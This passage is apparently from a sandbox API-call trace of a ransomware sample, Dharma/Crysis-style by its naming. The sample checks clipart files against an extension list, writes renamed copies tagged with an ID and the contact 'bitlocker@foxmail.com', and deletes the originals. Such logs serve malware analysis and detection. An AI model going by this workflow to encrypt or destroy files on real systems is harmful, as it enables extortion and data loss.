(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.701] lstrlenW (lpString=".dbf") returned 4 [0190.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.701] lstrlenW (lpString=".1cd") returned 4 [0190.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.701] lstrlenW (lpString=".jpg") returned 4 [0190.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.701] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.701] lstrlenW (lpString="J0099147.JPG") returned 12 [0190.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.702] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=24377) returned 1 [0190.702] CloseHandle (hObject=0x1f4) returned 1 [0190.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 0x20 [0190.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.702] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.702] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.703] GetLastError () returned 0x0 [0190.703] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x5f39, lpOverlapped=0x0) returned 1 [0190.843] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x5f40, lpOverlapped=0x0) returned 1 [0190.844] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.844] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.845] SetEndOfFile (hFile=0x1dc) returned 1 [0190.845] CloseHandle (hObject=0x1dc) returned 1 [0190.845] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.845] SetEndOfFile (hFile=0x1f4) returned 1 [0190.846] CloseHandle (hObject=0x1f4) returned 1 [0190.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.847] lstrlenW (lpString=".doc") returned 4 [0190.847] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.847] lstrlenW (lpString=".docx") returned 5 [0190.847] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0190.847] lstrlenW (lpString=".pdf") returned 4 [0190.847] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.847] lstrlenW (lpString=".xls") returned 4 [0190.847] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.847] lstrlenW (lpString=".xlsx") returned 5 [0190.847] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0190.847] lstrlenW (lpString=".ppt") returned 4 [0190.847] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.847] lstrlenW (lpString=".zip") returned 4 [0190.847] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.847] lstrlenW (lpString=".rar") returned 4 [0190.847] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.847] lstrlenW (lpString=".bz2") returned 4 [0190.847] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.847] lstrlenW (lpString=".7z") returned 3 [0190.847] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.847] lstrlenW (lpString=".dbf") returned 4 [0190.847] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.847] lstrlenW (lpString=".1cd") returned 4 [0190.847] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.848] lstrlenW (lpString=".jpg") returned 4 [0190.848] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.848] lstrlenW (lpString=".doc") returned 4 [0190.848] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.848] lstrlenW (lpString=".docx") returned 5 [0190.848] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0190.848] lstrlenW (lpString=".pdf") returned 4 [0190.848] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.848] lstrlenW (lpString=".xls") returned 4 [0190.848] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.848] lstrlenW (lpString=".xlsx") returned 5 [0190.848] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0190.848] lstrlenW (lpString=".ppt") returned 4 [0190.848] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.848] lstrlenW (lpString=".zip") returned 4 [0190.848] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.848] lstrlenW (lpString=".rar") returned 4 [0190.848] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.848] lstrlenW (lpString=".bz2") returned 4 [0190.848] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.848] lstrlenW (lpString=".7z") returned 3 [0190.848] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.848] lstrlenW (lpString=".dbf") returned 4 [0190.848] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.849] lstrlenW (lpString=".1cd") returned 4 [0190.849] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0190.849] lstrlenW (lpString=".jpg") returned 4 [0190.849] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.849] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.849] lstrlenW (lpString="J0099149.WMF") returned 12 [0190.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.849] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=73214) returned 1 [0190.849] CloseHandle (hObject=0x1f4) returned 1 [0190.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 0x20 [0190.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.850] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.850] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.850] GetLastError () returned 0x0 [0190.850] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x11dfe, lpOverlapped=0x0) returned 1 [0190.889] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x11e00, lpOverlapped=0x0) returned 1 [0190.891] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.891] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.891] SetEndOfFile (hFile=0x1dc) returned 1 [0190.891] CloseHandle (hObject=0x1dc) returned 1 [0190.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.891] SetEndOfFile (hFile=0x1f4) returned 1 [0190.893] CloseHandle (hObject=0x1f4) returned 1 [0190.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0190.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.893] lstrlenW (lpString=".doc") returned 4 [0190.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.893] lstrlenW (lpString=".docx") returned 5 [0190.893] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0190.893] lstrlenW (lpString=".pdf") returned 4 [0190.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.893] lstrlenW (lpString=".xls") returned 4 [0190.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.894] lstrlenW (lpString=".xlsx") returned 5 [0190.894] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0190.894] lstrlenW (lpString=".ppt") returned 4 [0190.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.894] lstrlenW (lpString=".zip") returned 4 [0190.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.894] lstrlenW (lpString=".rar") returned 4 [0190.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.894] lstrlenW (lpString=".bz2") returned 4 [0190.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.894] lstrlenW (lpString=".7z") returned 3 [0190.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.894] lstrlenW (lpString=".dbf") returned 4 [0190.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.894] lstrlenW (lpString=".1cd") returned 4 [0190.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.894] lstrlenW (lpString=".jpg") returned 4 [0190.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.894] lstrlenW (lpString=".doc") returned 4 [0190.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.894] lstrlenW (lpString=".docx") returned 5 [0190.894] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0190.894] lstrlenW (lpString=".pdf") returned 4 [0190.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.894] lstrlenW (lpString=".xls") returned 4 [0190.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.895] lstrlenW (lpString=".xlsx") returned 5 [0190.895] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0190.895] lstrlenW (lpString=".ppt") returned 4 [0190.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.895] lstrlenW (lpString=".zip") returned 4 [0190.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.895] lstrlenW (lpString=".rar") returned 4 [0190.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.895] lstrlenW (lpString=".bz2") returned 4 [0190.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.895] lstrlenW (lpString=".7z") returned 3 [0190.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.895] lstrlenW (lpString=".dbf") returned 4 [0190.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.895] lstrlenW (lpString=".1cd") returned 4 [0190.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0190.895] lstrlenW (lpString=".jpg") returned 4 [0190.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.895] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.895] lstrlenW (lpString="J0099153.WMF") returned 12 [0190.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.896] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=13874) returned 1 [0190.896] CloseHandle (hObject=0x1f4) returned 1 [0190.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 0x20 [0190.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.896] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.896] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.897] GetLastError () returned 0x0 [0190.897] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3632, lpOverlapped=0x0) returned 1 [0190.932] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3640, lpOverlapped=0x0) returned 1 [0190.933] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.933] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.933] SetEndOfFile (hFile=0x1dc) returned 1 [0190.934] CloseHandle (hObject=0x1dc) returned 1 [0190.934] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.934] SetEndOfFile (hFile=0x1f4) returned 1 [0190.935] CloseHandle (hObject=0x1f4) returned 1 [0190.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0190.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.935] lstrlenW (lpString=".doc") returned 4 [0190.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.935] lstrlenW (lpString=".docx") returned 5 [0190.935] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0190.935] lstrlenW (lpString=".pdf") returned 4 [0190.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.935] lstrlenW (lpString=".xls") returned 4 [0190.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.935] lstrlenW (lpString=".xlsx") returned 5 [0190.935] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0190.936] lstrlenW (lpString=".ppt") returned 4 [0190.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.936] lstrlenW (lpString=".zip") returned 4 [0190.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.936] lstrlenW (lpString=".rar") returned 4 [0190.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.936] lstrlenW (lpString=".bz2") returned 4 [0190.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.936] lstrlenW (lpString=".7z") returned 3 [0190.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.936] lstrlenW (lpString=".dbf") returned 4 [0190.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.936] lstrlenW (lpString=".1cd") returned 4 [0190.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.936] lstrlenW (lpString=".jpg") returned 4 [0190.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.936] lstrlenW (lpString=".doc") returned 4 [0190.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.936] lstrlenW (lpString=".docx") returned 5 [0190.936] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0190.936] lstrlenW (lpString=".pdf") returned 4 [0190.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.936] lstrlenW (lpString=".xls") returned 4 [0190.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.936] lstrlenW (lpString=".xlsx") returned 5 [0190.936] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0190.937] lstrlenW (lpString=".ppt") returned 4 [0190.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.937] lstrlenW (lpString=".zip") returned 4 [0190.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.937] lstrlenW (lpString=".rar") returned 4 [0190.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.937] lstrlenW (lpString=".bz2") returned 4 [0190.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.937] lstrlenW (lpString=".7z") returned 3 [0190.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.937] lstrlenW (lpString=".dbf") returned 4 [0190.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.937] lstrlenW (lpString=".1cd") returned 4 [0190.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0190.937] lstrlenW (lpString=".jpg") returned 4 [0190.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.937] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.937] lstrlenW 